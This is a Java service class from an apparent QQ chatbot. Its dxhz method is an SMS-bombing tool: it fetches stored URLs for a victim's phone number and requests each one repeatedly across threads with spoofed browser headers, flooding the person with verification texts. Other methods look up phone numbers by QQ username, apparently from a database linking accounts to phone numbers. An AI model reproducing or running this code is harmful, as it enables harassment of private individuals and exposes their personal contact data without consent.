package simbot.example.demo.service.impl;


import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
import org.apache.commons.lang3.StringUtils;
import org.jsoup.Jsoup;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import simbot.example.demo.dao.UserMapper;
import simbot.example.demo.entity.Batch;
import simbot.example.demo.entity.User;
import simbot.example.demo.entity.UserInfo;
import simbot.example.demo.robot.Util;
import simbot.example.demo.service.UserService;

import java.io.IOException;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.Executor;
import java.util.concurrent.Executors;


/**
 * @author kali
 * @email kalilinux@vip.qq.com
 * @date 2020/7/10
 */
@Service
public class UserServiceImpl extends ServiceImpl<UserMapper, User> implements UserService {

    private Executor exec = Executors.newFixedThreadPool(8);

    //用户
    @Autowired
    UserMapper userMapper;

    //获取用户
    @Override
    public IPage<UserInfo> getUser(Batch batch, Page<Map> page) {
        QueryWrapper<Map> qu=new QueryWrapper<>();

        System.out.println(batch.getQq());

        if(StringUtils.isNotBlank(batch.getQq())){
            qu.eq("username",batch.getQq());
        }else {
            return null;
        }

        IPage<UserInfo> mapList=userMapper.getUser(qu,page);

        return mapList;
    }

    //短信轰炸
    @Override
    public String dxhz(String phone){
        Util.init();
        Map<String, String> header = new HashMap<String, String>();
        header.put("Host", "searchcustomerexperience.techtarget.com");
        header.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36");
        header.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
        //header.put("Accept-Language", "zh-cn,zh;q=0.5");
        //header.put("Accept-Encoding", "gzip, deflate");
        header.put("Cache-Control", "max-age=0");
        header.put("Connection", "keep-alive");
        header.put("Content-Type","application/json");


        //获取轰炸列表
        if(StringUtils.isBlank(phone)){
            return "笨蛋,格式错误了！";
        }

        List<String> urlList=userMapper.getDxhzUrl(phone);

        if(urlList==null&&urlList.size()<1){
            System.out.println( "服务器异常");
            return "服务器异常！";
        }

        //爬虫请求
        for(int i=1;i<=10;i++){
            for(String url:urlList){
                exec.execute(() -> {
                    try {
                        Jsoup.connect(url.trim()).headers(header).timeout(5000).get();
                        System.out.println("url成功："+url);
                    } catch (IOException e) {
                        System.out.println("url失败："+url);
                    }
                });
            }
            try {
                Thread.sleep(1000);
            } catch (InterruptedException e) {
                return "轰炸完毕！";
            }
        }

        return "轰炸完毕！";
    }

    @Override
    public String setu(Batch batch, Page<Map> page1) {

        return null;
    }

    @Override
    public String getUserS(String msg) {

        QueryWrapper<Map> qu=new QueryWrapper<>();

        if(StringUtils.isNotBlank(msg)){
            qu.eq("username",msg);
        }else {
            return null;
        }

        List<UserInfo> mapList=userMapper.getUserS(qu);

        String result="群436681386---手机：";
        int i=0;
        for(UserInfo phone:mapList){
            if(i>0){
                result=result+",";
            }
            result=result+phone.getPhone();
            i++;
        }

        return result;
    }


}
